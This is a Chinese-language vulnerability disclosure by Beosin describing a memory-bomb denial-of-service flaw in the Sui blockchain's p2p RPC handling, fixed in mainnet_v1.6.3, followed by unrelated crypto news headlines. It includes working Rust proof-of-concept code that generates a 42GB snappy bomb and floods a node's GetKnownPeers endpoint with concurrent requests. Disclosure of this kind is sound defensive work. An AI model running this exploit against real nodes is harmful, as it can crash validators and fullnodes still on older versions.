Beosin硬核安全研究 :内存炸弹漏洞导致Sui节点崩溃?
作者:Beosin安全研究专家Poet
目前该漏洞已被官方修复。Sui mainnet_v1.6.3(2023年8月1号)已经修复了此漏洞。
前言
此前Beosin安全团队发现了多个公链相关的漏洞,其中有一个漏洞比较有意思,我们与Sui团队沟通后,征得同意可以将其详细信息公开。 这是Sui公链p2p协议中的一个拒绝服务漏洞,该漏洞可导致Sui网络中的节点因内存耗尽而崩溃。这个拒绝服务漏洞是由一个古老的攻击方式引起的————“内存炸弹”。
本文通过对该漏洞的介绍,希望大家对“内存炸弹”攻击和其防御手段有更多的认识和理解。Beosin作为区块链安全行业的领先者,我们持续关注公链平台的安全性。
什么是内存炸弹?
最早的内存炸弹是zip炸弹,也叫死亡zip, 是一种恶意的计算机文件,会使读取它的程序崩溃或失效。zip炸弹不会劫持程序的操作,而是一个消耗过多时间、磁盘空间或内存来解压缩的压缩包。
zip 炸弹的一个例子是文件42.zip,它是一个由42KB压缩数据组成的zip文件,包含16组的五层嵌套zip文件,每个底层存档包含一个4.3GB字节(4 294 967295 字节;4 GiB − 1 B)的文件,总计 4.5 PB(4503 599626321 920 字节;4 PiB − 1 MiB) 的未压缩数据。
zip炸弹的基本原理是,我们生成一个非常大的内容全是0(或者其他值)的文件,然后压缩成zip文件,由于相同内容的文件的压缩比非常大,此时生成的zip文件非常小。被攻击目标在解压zip文件之后,需要消耗非常多的内存来存储被解压之后的文件,内存会被快速耗尽,目标因为OOM而崩溃。
我们在Windows上做一个简单的实验:
利用如下命令生成一个内容全是0的,大小为1GB的文件:
fsutil file createnew test.txt 1073741824
利用7zip命令,将文件压缩为zip格式:
7z a test.zip test.txt
压缩后的文件大小为:1.20MB
由此我们可以知道,对于全部是0的文件,zip压缩比接近851:1
其实,任何格式的压缩包都有可能成为内存炸弹,不仅仅是zip压缩包。
我们继续这个实验,在Windows上用7zip将1GB的内容全是0的大文件,压缩为不同的格式。这样我们得出下面的压缩比列表:
事实上,不同的文件格式支持不同的压缩算法,比如zip文件支持Deflate、Deflate64、BZIP2、LZMA、PPMd等,不同压缩算法的压缩比是不一样的。上面的表格是基于7zip默认压缩算法的测试结果。
内存炸弹一般防御方法
我们可以通过限制解压后的文件大小来防御“内存炸弹”攻击。以下的方法可以限制解压后的文件大小:
1 解压后的数据大小放入压缩包里面。在压缩文件的某个位置读取这个值,然后判断其大小是否符合要求。
2 第一个方法无法完全解决这个问题,因为解压后的文件大小可以被伪造。所以我们可以传递一个固定大小的Buffer,解压过程中,如果数据大小超出Buffer的边界,那么就停止解压,返回失败信息。
3 还有一个办法是流式解压。一边传入小部分压缩数据,一边解压这个数据,同时累加解压后的数据大小,如果在某一个时刻,解压后的数据大小超过阈值,就停止解压,返回失败信息。
历史上的“内存炸弹”漏洞
1 CVE-2023-3782
这是一个OKHttp库的漏洞。OKHttp支持Brotli压缩算法,如果HTTP响应指定了Brotli压缩算法,由于OKHttp没有做“内存炸弹”攻击的防御,客户端会因为内存耗尽而崩溃。
我们可以看到,漏洞补丁限制了压缩系数。
2 CVE-2022-36114
这是Rust包管理器Cargo的一个漏洞。Cargo从代码源下载包的时候,没有做“内存炸弹”防御,导致解压之后的文件占用的磁盘空间非常大。
我们可以看到,漏洞补丁限制解压后的文件大小最大为512MB。
3 CVE-2022-32206
这是知名网络下载工具curl的一个漏洞。curl < 7.84.0 支持“链式”HTTP 压缩算法,这意味着服务器响应可以多次压缩,并且可能使用不同的算法。这个“解压链”中可接受的“链接”数量是无限的,允许恶意服务器插入几乎无限数量的压缩步骤。使用这样的解压链可能会导致“内存炸弹”,使得curl最终花费大量的内存,因内存不足发生错误。
Sui漏洞描述
1 在Sui的p2p协议中,为了减少带宽压力,有部分RPC消息是用snappy算法压缩的。
2 每个Sui节点(不管是validator还是fullnode)在p2p网络中都提供节点发现("/sui.Discovery/GetKnownPeers")和数据同步("/sui.StateSync/PushCheckpointSummary")RPC服务。节点发现和数据同步的RPC消息,实际上是使用snappy压缩过的数据。在处理RPC消息的过程中,节点先将数据全部解压到内存,再用bcs算法反序列化,然后释放解压数据和原始数据。处理RPC数据的代码在"crates/mysten-network/src/codec.rs"文件里:
impl<U: serde::de::DeserializeOwned> Decoder for BcsSnappyDecoder<U> {
type Item = U;
type Error = bcs::Error;
fn decode(&mut self, buf: bytes::Bytes) -> Result<Self::Item, Self::Error> {
let compressed_size = buf.len();
let mut snappy_decoder = snap::read::FrameDecoder::new(buf.reader());
let mut bytes = Vec::with_capacity(compressed_size);
//Decompress
snappy_decoder.read_to_end(&mut bytes)?;
//Deserialize
bcs::from_bytes(bytes.as_slice())
}
}
3 RPC消息的最大size为2G。这个限制硬编码在"crates/sui-node/src/lib.rs"文件里面:
let mut anemo_config = config.p2p_config.anemo_config.clone().unwrap_or_default(); // Set the max_frame_size to be 2 GB to work around the issue of there being too many // staking events in the epoch change txn. anemo_config.max_frame_size = Some(2 << 30); // size of 2G !!!!!
4 我们可以创建一个1.97G的snappy压缩文件,解压之后变为42G,且文件内容全部为0。
5 选择"/sui.Discovery/GetKnownPeers"这个p2p RPC作为被攻击的接口,向其发送大小为1.97G的RPC消息。那么节点需要至少42+1.97=43.97G的内存来解压这个消息。
6 如果Sui节点(不管是validator还是fullnode)可用内存超过43.97G,那么我们可以同时发送n个RPC消息,这样在某个时间点,sui节点需要m(m一般小于n)个43.97G内存空间才能处理我们的攻击payload。
如果内存不足,sui节点就会崩溃。
以下是我们的测试结果
我们可以看到,节点因为“Out of memory”而被系统“杀死”。
PoC
1 创建基于snappy算法的“内存炸弹”
//generate the "memory bomb" //48.2M -> 1G //96.4M -> 2G //385M -> 8G //1.97G -> 42G // //set "how_many_gb" to set the decompressed size of "bomb" let buf = [0; 1024]; let file = File::create(r"C:\Users\xxx\Desktop\42g").unwrap(); let mut encoder = snap::write::FrameEncoder::new(&file); let how_many_gb = 42; for _i in 0..1024 * 1024 * how_many_gb { let _ = encoder.write_all(&buf).unwrap(); } return;
2 攻击节点
pub fn build_network(f: impl FnOnce(anemo::Router) -> anemo::Router, chain_id : &str) -> anemo::Network {
let router = f(anemo::Router::new());
let mut config = Config::default();
config.max_frame_size = Some(2 << 30);
// config.max_frame_size = Some(usize::MAX);
config.outbound_request_timeout_ms = Some(100 * 1000);
let network = anemo::Network::bind("0.0.0.0:0")
.private_key(random_key())
.server_name(chain_id)
.alternate_server_name("sui")
.config(config)
.start(router)
.unwrap();
println!(
"starting network {} {}",
network.local_addr(),
network.peer_id(),
);
network
}
async fn attack_type_0(address: Address, buf: Bytes, chain_id : &str) ->Result<(),Error> {
let network = build_network(|a| {a},chain_id);
let (mut rec, _a) = network.subscribe()?;
tokio::spawn(async move { handle_event(&mut rec).await });
let peerid = network.connect(address).await?;
let mut request = Request::new(buf);
*request.route_mut() = "/sui.Discovery/GetKnownPeers".into();
// *request.route_mut() = "/sui.StateSync/PushCheckpointSummary".into();
let response = network.rpc(peerid, request).await?;
println!("{:?}", response);
loop {
sleep(Duration::from_millis(2000)).await;
}
}
#[tokio::main(flavor = "multi_thread", worker_threads = 200)]
async fn main() {
//read the "bomb" file.
let mut in_file = File::open(r"C:\Users\xxx\Desktop\512m.txt").unwrap();
let mut buf: Vec<u8> = Vec::new();
let _size = in_file.read_to_end(&mut buf).unwrap();
let bs = Bytes::from(buf);
//you can change "concurrent_attack" to a appropriate number!!!
let concurrent_attack = 20;
let target_ip = "192.168.153.129";
let target_port = 35561;
//you can get your private network's chain_id from the sui-node's stdout.
let chain_id = "sui-76e065b8";
for _i in 0..concurrent_attack {
let bs = bs.clone();
tokio::spawn(async move {
let respone = attack_type_0(Address::from((target_ip, target_port)),bs.clone(),chain_id).await;
println!("error : {:?}", respone);
});
}
loop {
sleep(Duration::from_millis(2000)).await;
}
}
补丁代码分析
我们可以看到补丁代码利用了流式解压,并限制了解压后的最大大小为1G。同时将RPC消息的大小限制从2G降低为1G。
漏洞影响
这个漏洞可以导致单个节点崩溃(validator和fullnode)。 漏洞利用非常简单,只需要启动多个线程向节点发送payload,就可导致节点崩溃,不需要消耗gas费用。Sui mainnet_v1.6.3(不包含)以前的版本都受此漏洞的影响。
漏洞修复
Sui mainnet_v1.6.3(2023年8月1号)已经修复了此漏洞。Beosin也将持续关注各大公链上的漏洞,为整个Web3生态护航。
Bitcoin Looms Under $100k : A Bullish Momentum Is Coming
The post Bitcoin Looms Under $100k : A Bullish Momentum Is Coming appeared first on Coinpedia Fintec...
SHIB and DOGE: Which Meme Coin Will Dominate the Market in 2025?
The post SHIB and DOGE: Which Meme Coin Will Dominate the Market in 2025? appeared first on Coinpedi...
Hilbert Group Blends Liberty AI With Core Services to Lead in Asset Management
The post Hilbert Group Blends Liberty AI With Core Services to Lead in Asset Management appeared fir...